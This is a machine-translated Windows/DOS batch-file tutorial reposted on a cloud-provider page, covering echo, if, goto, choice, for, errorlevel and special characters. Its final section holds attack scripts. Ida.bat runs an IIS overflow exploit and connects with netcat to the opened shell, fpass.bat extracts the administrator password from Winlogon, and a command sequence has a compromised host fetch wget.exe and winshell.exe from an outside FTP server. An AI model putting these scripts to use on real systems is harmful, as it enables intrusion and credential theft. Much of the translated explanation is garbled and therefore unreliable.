BAT file writing

Source: Internet
Author: User
Tags eol
BAT file writing

Keywords: BAT file writing

First, the batch file is a text file, and each line of this file is a DOS command (most of the time it is like the command line we execute at the DOS prompt ), you can use any text file editing tool such as edit in DOS or notepad in Windows to create and modify batch files.

Second, batch file processing is a simpleProgramYou can use conditional statements (IF) and process control statements (goto) to control the process of running commands. In batch processing, you can also use cyclic statements (for) to execute a command cyclically. Of course, the programming capability of batch processing files is very limited than that of C language and other programming statements, and it is also very nonstandard. The program statements for batch processing are several DOS commands (including internal commands and external commands). The batch processing capability depends on the commands you use.

Third, each written batch processing file is equivalent to a DoS external command. You can put the directory in your dos search path) so that it can run in any location. A good habit is to create a bat or batch directory (for example, c: \ batch) on the hard disk, and then put all the batch files you have compiled into this directory, in this way, you only need to set C: \ batch in the path, and you can run all your batch processing programs at any location.

Fourth, in DOS and Win9x/me systems, C: autoexec under the root directory. bat batch files are automatically run batch files. Each time the system starts, the files are automatically run. You can put the commands to be run every time the system starts, for example, you can set the search path, call the mouse driver and disk cache, and set system environment variables. The following is an example of autoexec. Bat running on Windows 98:

@ Echo off

Path c: \ windows; C: \ WINDOWS \ command; C: \ UCDOS; C: \ dostools; C: \ systools; C: \ wintools; C: \ batch

LH smartdrv. EXE/x

LH doskey. com/insert

LH ctmouse. exe

Set temp = D: \ Temp

Set TMP = D: \ Temp

Functions of Batch Processing

In short, batch processing is used to automatically execute multiple commands continuously.

Here is the simplest application: When the WPS software is started, it must be executed every time (> the previous content indicates the DOS prompt ):

C: \> Cd WPS

C: \ WPS> spdos

C: \ WPS> py

C: \ WPS> wbx

C: \ WPS> WPS

If you perform this operation before Using WPS every time, do you think it is very troublesome?

Now, with batch processing, you can simplify these troublesome operations. First, we compile a runwps. bat batch processing file with the following content:

@ Echo off

C:

CD \ WPS

Spdos

PY

Wbx

WPS

CD \

In the future, every time we enter WPS, we only need to run the runwps batch file.

Common commands

Echo, @, call, pause, and REM (TIPS: Use: instead of REM) are several of the most common commands for batch file processing. We started from them.

Echo indicates the characters after this command

Echo off indicates that after this statement, all running commands do not display the command line itself.

@ Is similar to echo off, but it is added at the beginning of each command line, indicating that the command line of this line is not displayed at run time (only the current line can be affected ).

Call calls another batch file (if you directly call another batch file without calling it, you will not be able to return the current file and execute subsequent commands of the current file after the batch file is executed ).

Running pause will pause the execution of batch processing and display the prompt press any key to continue... on the screen, waiting for the user to press any key to continue

Rem indicates that the character after this command is interpreted as a line (comment). If it is not executed, it is only used for future reference (equivalent to a comment in the program ).

Example 1: edit. BAT file, enter the following content and save the disk as c: \. bat, after executing the batch processing file, you can: write all the files in the root directory into a.txt, start UCDOS, enter WPS and other functions.

The content of the batch file is: Command comment:

@ Echo off does not display subsequent command lines and current command lines

Dir c: \ *. *> a.txt: Write the C-drive file into a.txt.

Call c: \ UCDOS. Bat call UCDOS

Echo Hello show "hello"

Pause pause and wait for the button to continue

Rem prepare to run WPS Note: Prepare to run WPS

Cd ucdos enters the UCDOS directory

WPS running WPS

Batch File Parameters

The batch file can also use parameters (equivalent to the command line parameters of the doscommand) like C functions, which requires a parameter identifier "% ".

% [1-9] indicates a parameter. A parameter is a string separated by spaces (or tabs) after the file name when a batch file is run. Variables can be changed from % 0 to % 9.% 0 indicates the Batch Processing Command itself. Other parameter strings are represented in the order of % 1 to % 9.

Example 2: C: the root directory contains a batch of processing files named F. bat with the following content:

@ Echo off

Format % 1

If c: \> f:

When F. bat is executed, % 1 indicates a:. In this way, format % 1 is equivalent to format A:. Therefore, the preceding Command actually runs format:

Example 3: C: the name of the processing file under the root directory is T. bat, and the content is:

@ Echo off

Type % 1

Type % 2

Then run c: \> T a.txt B .txt

% 1: paia.txt

% 2: Invalid B .txt

The following command displays the.txt and B .txt files in sequence.

Special commands

If goto choice for is a relatively advanced command in the batch processing file. If you are familiar with these commands, you are an expert in batch processing files.

1. If is a condition statement used to determine whether the specified conditions are met and then decide to execute different commands. There are three formats:

1. If [not] "parameter" = "string" command to be executed

If the parameter is equal to the string specified by (not indicates unequal, the same below), the condition is true. Run the command; otherwise, run the next sentence.

Example: If "% 1" = "A" format:

2. If [not] exist [path \] command to be executed in the file name

If a specified file exists, the condition is true. Run the command. Otherwise, run the next sentence.

For example, if exist c: \ config. sys Type C: \ config. sys

Indicates that if the c: \ config. SYS file exists, its content is displayed.

3. If errorlevel <number> command to be executed

Many DOS Programs return a numeric value to indicate the result (or status) of the program running after the execution ends. The if errorlevel command can be used to determine the return value of the program, different commands are executed based on different return values (the return values must be sorted in ascending order ). If the return value is equal to the specified number, the condition is true. Run the command. Otherwise, run the next sentence.

For example, if errorlevel 2 goto X2

2. When the Goto batch processing file runs here, it will jump to the label specified by Goto (label, which is defined by the standard string). The GOTO statement is generally used with the if statement, execute different command groups according to different conditions.

For example:

Goto end

: End

Echo this is the end

The label is defined by ": string". The row where the label is located is not executed.

3. Choice uses this command to allow the user to enter a character (used for selection), and return different errorlevels based on the user's selection, and then works with if errorlevel, run different commands according to your choice.

Note: Choice commands are external commands provided by DOS or windows. the syntax of choice commands of different versions is slightly different. Use choice /? View usage.

Choice command syntax (this syntax is the syntax of the choice command in Windows 2003, the syntax of choice in other versions is similar to this ):

Choice [/C choices] [/n] [/CS] [/T timeout/d choice] [/M text]

Description:

This tool allows you to select a project from the selection list and return the index of the selected project.

Parameter List:

/C choices specifies the list of options to be created. The default list is "YN ".

/N hide the Option List at the prompt. The preceding message is displayed, and the option is still enabled.

/CS allows you to select the case sensitivity option. By default, this tool is case-insensitive.

/T timeout specifies the number of seconds before the default value is set. The acceptable value ranges from 0 to 9999. If 0 is specified, there will be no pause. the default option is

Select.

/D choice: Specify the default option after NNNN seconds. The characters must be in the selection of a group specified by the/C option, and the/T must be used to specify the NNNN.

/M text specifies the message to be displayed before the prompt. If not specified, only the prompt is displayed.

/? Displays help messages.

Note:

The errorlevel environment variable is set to the key index selected from the selected set. Returns 1 for the first choice listed, 2 for the second choice, and so on. If the key you press is not a valid choice, the tool generates a warning. If the tool detects an error, it returns the errorlevel value of 255. If you press Ctrl + break or Ctrl + C, the tool returns the errorlevel value of 0. When the errorlevel parameter is used in a batch program, the parameters are sorted in descending order.

Example:

Choice /?

For choice/c ync/m ", Press Y, N, or C. "

Choice/T 10/c ync/CS/d y

Select a for choice/c AB/M "option 1 and B for option 2. "

Choice/c AB/N/m "option 1 select a, option 2 select B. "

If I run the command: choice/c ync/M "OK, Press Y, N, or cancel to press C. "

The screen displays:

Press Y to confirm, N to confirm, or C to cancel. [Y, N, C]?

For example, the content of test. bat is as follows (NOTE: When determining the return value using if errorlevel, sort the returned values from high to low ):

@ Echo off

Choice/C dimethyl/M "defrag, mem, end"

If errorlevel 3 goto end

If errorlevel 2 goto mem

If errotlevel 1 goto defrag

: Defrag

C: \ dos \ defrag

Goto end

: Mem

Mem

Goto end

: End

Echo good bye

After this batch is run, "defrag, mem, end [d, M, E]? ", The user can select d m e, and then the if statement makes a judgment based on the user's choice. D indicates the program segment with the execution label as defrag, and M indicates the program segment with the execution label as mem, E indicates the program segment whose execution label is "end". Each program segment finally jumps the program to the end label with "Goto end", and the program displays "good bye". The batch processing is completed.

4. The for loop command will execute the same command multiple times as long as the conditions are met.

Syntax:

Execute a specific command on each file in a group of files.

For % variable in (SET) do command [command-parameters]

% Variable specifies a single letter replaceable parameter.

(SET) specifies one or more files. Wildcard characters can be used.

Command specifies the Command executed on each file.

Command-parameters specifies a parameter or command line switch for a specific command.

For example, a batch file contains one row:

For % C in (*. bat *. txt) do type % C

The command line displays the contents of all files with the bat and TXT extensions in the current directory.

Batch Processing example

1. If-exist

1)

First, use NotePad to create a test1.bat batch file in c: \. The content of the file is as follows:

@ Echo off

If exist \ autoexec. bat type \ autoexec. bat

If not exist \ autoexec. Bat echo \ autoexec. bat does not exist

Then run it:

C: \> test1.bat

If the c: \ autoexec. BAT file exists, its content will be displayed. If it does not exist, the batch processing will prompt you that the file does not exist.

2)

Create another test2.bat file with the following content:

@ Echo off

If exist \ % 1 Type \ % 1

If not exist \ % 1 echo \ % 1 does not exist

Run:

C: \> Test2 autoexec. bat

The command runs the same result as above.

Note:

(1) If exist is used to test whether a file exists. The format is

If exist [path + file name] command

(2) % 1 in the test2.bat file is a parameter. Dos allows passing nine batch parameter information to the batch processing file, which is % 1 ~ % 9 (% 0 indicates the Test2 command itself), which is a bit like the relationship between real parameters and parameters in programming. % 1 is the form parameter, and autoexec. bat is the real parameter.

3) create a file named test3.bat with the following content:

@ Echo off

If "% 1" = "A" Echo Xiao

If "% 2" = "B" Echo Tian

If "% 3" = "C" Echo Xin

If you run:

C: \> test3 A B C

The screen displays:

Xiao

Tian

Xin

If you run:

C: \> test3 A B

Displayed on the screen

Xiao

Tian

During the command execution, DOS will specify an empty string to the parameter % 3.

2. IF-ERRORLEVEL

Create test4.bat with the following content:

@ Echo off

Xcopy c: \ autoexec. Bat D: If errorlevel 1 ECHO file copy failed

If errorlevel 0 ECHO, the file is successfully copied.

Then execute the file:

C: \> test4

If the file is successfully copied, the screen displays "successfully copied file"; otherwise, the screen displays "failed file copy ".

If errorlevel is used to test the return value of the previous DOS command. Note that it is only the return value of the previous command, and the return value must be determined in order from large to small. Therefore, the following batch file is incorrect:

@ Echo off

Xcopy c: \ autoexec. Bat D :\

If errorlevel 0 ECHO, the file is successfully copied.

If errorlevel 1 ECHO does not find the copy object

If errorlevel 2 ECHO, the user uses Ctrl-C to stop the copy operation.

If errorlevel 3 Echo preset Error Blocking file copy operation

If errorlevel 4 echo disk write error during copy process

Whether the copy is successful or not, the following:

Copy file not found

You can use ctrl-C to stop the copy operation.

Preset errors prevent file copy operations

An error occurred while writing the disk during the copy process.

Are displayed.

The return values of several common commands and their meanings are as follows:

Backup

0 successfully backed up

1 backup file not found

2. File Sharing conflicts prevent backup from being completed

3. Use Ctrl-C to stop the backup.

4. the backup operation is aborted due to a fatal error.

Diskcomp

0 disks are the same

1 disk is different

2. You can use ctrl-C to stop the comparison operation.

3. The comparison operation is aborted due to a fatal error.

4 preset error abort comparison

Diskcopy

0 disk copy operation successful

1 non-fatal disk read/write error

2. You can use ctrl-C to end the copy operation.

3. the disk copy is aborted due to a fatal processing error.

4. The copy operation is blocked due to a preset error.

Format

0: formatted successfully.

3. Use Ctrl-C to stop formatting.

4. The format is aborted due to a fatal processing error.

5. When the message "Proceed with format (y/n )? "End with user type N

Xcopy

0 successfully copied the file

1 copy file not found

2. You can use ctrl-C to stop the copy operation.

4. preset errors prevent file copy operations

5. An error occurred while writing the disk during the copy process.

3. If string1 = string2

Create test5.bat. The file content is as follows:

@ Echo off

If "% 1" = "A" format:

Run:

C: \> test5

Whether to format the: disk is displayed on the screen.

Note: To prevent the parameter from being empty, double quotation marks (or other symbols) are generally used to enclose the string.

For example, if [% 1] = [a] Or if % 1 * = *

5. Goto

Create test6.bat. The file content is as follows:

@ Echo off

If exist c: \ autoexec. Bat goto _ copy

Goto _ done

: _ Copy

Copy c: \ autoexec. Bat D :\

: _ Done

Note:

(1) The colon Before the label is an ASCII character ":", there must be no space between the colon and the label.

(2) The naming rules for labels are the same as those for file names.

(3) DoS supports a maximum of eight characters. When two labels cannot be distinguished, the system redirects to the nearest one.

6.

Create c: \ test7.bat. The file content is as follows:

@ Echo off

For % C in (*. bat *. txt *. sys) do type % C

Run:

C:> test7

After the command is executed, all files with the extension bat, txt, and sys in the C: root directory are displayed on the screen (excluding hidden files ).

BAT file batch processing in Win2000 Command Line Mode

ArticleStructure

1. Help information for all built-in commands

2. Concept of Environment Variables

3. built-in special symbols (avoid using them in the middle)

4. Simple Batch File Concept

5. Appendix 1 tmp.txt

6. Appendix 2 sample. bat

###########################

1. Help information for all built-in commands

###########################

Ver

CMD /?

Set /?

REM /?

If /?

Echo /?

Goto /?

For /?

Shift /?

Call /?

Other frequently-used commands

Type /?

Find /?

Findstr /?

Copy /?

The following will output all the help above to a file

Echo ver> tmp.txt

Ver> tmp.txt

Echo CMD /? > Tmp.txt

CMD /? > Tmp.txt

Echo REM /? > Tmp.txt

REM /? > Tmp.txt

Echo if /? > Tmp.txt

If /? > Tmp.txt

Echo goto /? > Tmp.txt

Goto /? > Tmp.txt

Echo /? > Tmp.txt

For /? > Tmp.txt

Echo shift /? > Tmp.txt

Shift /? > Tmp.txt

Echo call /? > Tmp.txt

Call /? > Tmp.txt

Echo type /? > Tmp.txt

Type /? > Tmp.txt

Echo find /? > Tmp.txt

Find /? > Tmp.txt

Echo findstr /? > Tmp.txt

Findstr /? > Tmp.txt

Echo copy /? > Tmp.txt

Copy /? > Tmp.txt

Type tmp.txt

#############################

2. Concept of Environment Variables

#############################

C: \ Program Files> set

Allusersprofile = c: \ Documents ents and Settings \ All Users

Commonprogramfiles = c: \ Program Files \ common files

Computername = first

Comspec = c: \ winnt \ system32 \ cmd.exe

Number_of_processors = 1

OS = windows_nt

Os2libpath = c: \ winnt \ system32 \ os2 \ DLL;

Path = c: \ winnt \ system32; C: \ WINNT; C: \ winnt \ system32 \ WBEM

Pathext =. com;. EXE;. BAT;. CMD;. vbs;. VBE;. js;. JSE;. WSF;. wsh

Processor_architecture = x86

Processor_identifier = x86 family 6 model 6 stepping 5, genuineintel

Processor_level = 6

Processor_revision = 0605

ProgramFiles = c: \ Program Files

Prompt = $ p $ G

Systemdrive = C:

Systemroot = c: \ winnt

Temp = c: \ winnt \ Temp

TMP = c: \ winnt \ Temp

USERPROFILE = c: \ Documents ents and Settings \ Default User

WINDIR = c: \ winnt

Path: indicates the search path of the executable program. I suggest you copy your program

% Windir % \ system32 \. In this directory, it is generally automatically searched.

Syntax: Copy mychenxu.exe % WINDIR % \ system32 \.

Ease of use (.)

Use double quotation marks for environment variables (English mode, half-width)

% WINDIR % variable

% WINDIR % quadratic variable reference.

We also use

% Temp % temporary file directory

% WINDIR % SYSTEM directory

% Errorlevel % exitCode

Output the file to the temporary file directory, which makes the current directory clean and tidy.

For parameters with spaces, you should learn to use double quotation marks ("") to indicate operations on the porgram file folder, for example

C: \> dir p *

C: \ directory

2000-09-02 2,164 PDOS. Def

<Dir> Program Files

1 file, 2,164 bytes

1 directory, 1,505,997,824 available bytes

C: \> Cd Pro *

C: \ Program Files>

C: \>

C: \> Cd "Program Files"

C: \ Program Files>

######################################## ####

3. built-in special symbols (avoid using them in the middle)

######################################## ####

Microsoft has the following built-in characters which cannot be used between the created file names.

Con NUL aux \/| & amp; ^ & gt; <*

You can use most characters as variable values, including white space. if you use the special characters <,>, |, &, or ^, you must precede them with the escape character (^) or quotation marks. if you use quotation marks, they are stored as part of the value because everything following the equal sign is taken as the value. consider the following examples:

(Either you use ^ as the leading character or you only use double quotation marks)

To create the variable value new & name, type:

Set varname = new ^ & name

To create the variable value "New & name", type:

Set varname = "New & name"

The Ampersand (&), pipe (|), and parentheses () are special characters that must be preceded by the escape character (^) or quotation marks when you pass them as arguments.

Find "Pacific Rim" <trade.txt> nwtrade.txt

If exist filename. (del filename.) else echo filename. Missing

> Create an object

> Append to a file

@ Prefix character. It indicates that the line is not displayed in cmd during execution. You can use echo off to disable display.

^ The leading character of the special symbol (> <&). The first character only displays the AAA second output file bbb

Echo 123456 ^> aaa

Echo 1231231> bbb

() Include commands

(Echo AA & Echo bb)

, Which is the same as the default delimiter of space.

; Annotation, indicating that it is followed by Annotation

: Label Function

| MPs queue operations

& Usage: The first command & the second command [& the third command...]

This method can be used to execute multiple commands at the same time, regardless of whether the command is successfully executed.

Dir c: \ *. EXE & dir D: \ *. EXE & dir E: \ *. exe

& Usage: The first command & the second command [& the third command...]

When an erroneous command is executed, the subsequent commands will not be executed. If no error occurs, all commands will be executed;

| Usage: The First Command | the second command [| the third command...]

When a correct command is executed, the subsequent commands are not executed. If no correct command is displayed, all commands are executed;

Common syntax format

If [not] errorlevel number command para1 para2

If [not] string1 = string2 command para1 para2

If [not] exist filename command para1 para2

If exist filename command para1 para2

If not exist filename command para1 para2

If "% 1" = "" Goto end

If "% 1" = "Net" Goto net

If not "% 2" = "Net" Goto other

If errorlevel 1 command para1 para2

If not errorlevel 1 command para1 para2

For/L % I in (START, step, end) do command [command-parameters] % I

For/F "EOL =; tokens = 2, 3 * delims =," % I in (myfile.txt) Do echo % I % J % K

The ijklmnopq parameters are obtained in alphabetical order.

EOL = C-refers to the end of a line comment character (just one)

Skip = N-indicates the number of rows ignored at the beginning of the file.

Delims = xxx-refers to the delimiter set. This replaces the default delimiter set of spaces and the hop key.

########################

4. Simple Batch File Concept

########################

Echo this is test> a.txt

Type a.txt

Echo this is test 11111> a.txt

Type a.txt

Echo this is test 22222> a.txt

Type a.txt

The second ECHO is append.

The third echojob re-creates a.txt

Netstat-N | find "3389"

This will list the IP addresses of all users connected to 3389.

________________ Test. Bat ______

@ Echo please care

Echo plese care 1111

Echo plese care 2222

Echo plese care 3333

@ Echo please care

@ Echo plese care 1111

@ Echo plese care 2222

@ Echo plese care 3333

Rem does not display the comment statement. This row is displayed.

@ REM do not display the comment statement. This row is not displayed.

@ If exist % WINDIR % \ system32 \ find.exe (echo find find.exe !!!) Else (echo error: not find find.exe)

@ If exist % WINDIR % \ system32 \ fina.exe (echo find fina.exe !!!) Else (echo error: not find fina.exe)

_____________________________

In the following example, a specific idahack program is Ida remote overflow. It should be very simple.

_______________ Ida. Bat _____

@ REM ver 1.0

@ If not exist % WINDIR % \ system32 \ idahack.exe echo "error: Dont find idahack.exe"

@ If not exist % WINDIR % \ system32 \ nc.exe echo "error: Dont find nc.exe"

@ If "% 1" = "" Goto usage

@ If not "% 2" = "" Goto SP2

: Start

@ ECHO now start...

@ Ping % 1

@ Echo Chinese Win2k: 1 SP1: 2 SP2: 3

Idahack.exe % 1 80 1 99> % Temp % \ _ TMP

@ Echo "prog exit code [% errorlevel %] idahack.exe"

@ Type % Temp % \ _ TMP

@ Find "good luck" % Temp % \ _ TMP

@ Echo "prog exit code [% errorlevel %] Find [Goog luck]"

@ If not errorlevel 1 nc.exe % 1 99

@ Goto end

: Sp2

@ Idahack.exe % 1 80% 2 99% TEMP % \ _ TMP

@ Type % Temp % \ _ TMP

@ Find "good luck" % Temp % \ _ TMP

@ If not errorlevel 1 nc.exe % 1 99

@ Goto end

: Usage

@ Echo example: Ida. Bat IP

@ Echo example: Ida. Bat IP (2, 3)

: End

_____________________ Ida. Bat _ end _______

Next we will use the second file to obtain the administrator password.

Most people say they cannot get it. In fact, they did not enter the correct information.

_______________________ Fpass. Bat ____________________________________________

@ REM ver 1.0

@ If not exist % WINDIR % \ system32 \ findpass.exe echo "error: Dont find findpass.exe"

@ If not exist % WINDIR % \ system32 \ pulist.exe echo "error: Dont find pulist.exe"

@ Echo start ....

@ Echo ____________________________________

@ If "% 1" = "" Goto usage

@ Findpass.exe % 1% 2% 3> % Temp % \ _ findpass.txt

@ Echo "prog exit code [% errorlevel %] findpass.exe"

@ Type % Temp % \ _ findpass.txt

@ Echo ________________________________ here _ pass★★★★★★★★

@ Ipconfig/All> % Temp % \ _ findpass.txt

@ Goto end

: Usage

@ Pulist.exe> % Temp % \ _ pass.txt

@ Findstr.exe/I "Winlogon explorer internat" % Temp % \ _ pass.txt

@ Echo "Example: fpass. Bat % 1% 2% 3% 4 !!! "

@ Echo "Usage: findpass.exe domainname username PID-of-Winlogon"

: End

@ Echo "fpass. Bat % computername % username % administrator"

@ Echo "fpass. Bat end [% errorlevel %]! "

_________________ Fpass. Bat ___ end ___________________________________________________________

Another is that you have logged on to a remote host through Telnet. How to upload files (WIN)

Enter the following items in the window in sequence. Of course, you can also copy all. CTRL + V in the past. Then wait !!

Echo open 210.64.x.4 3396> W

Echo read> W

Echo read> W

Echo CD winnt> W

Echo binary> W

Echo PWD> W

Echo get wget.exe> W

Echo get winshell.exe> W

Echo get any.exe> W

Echo quit> W

FTP-S: W

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.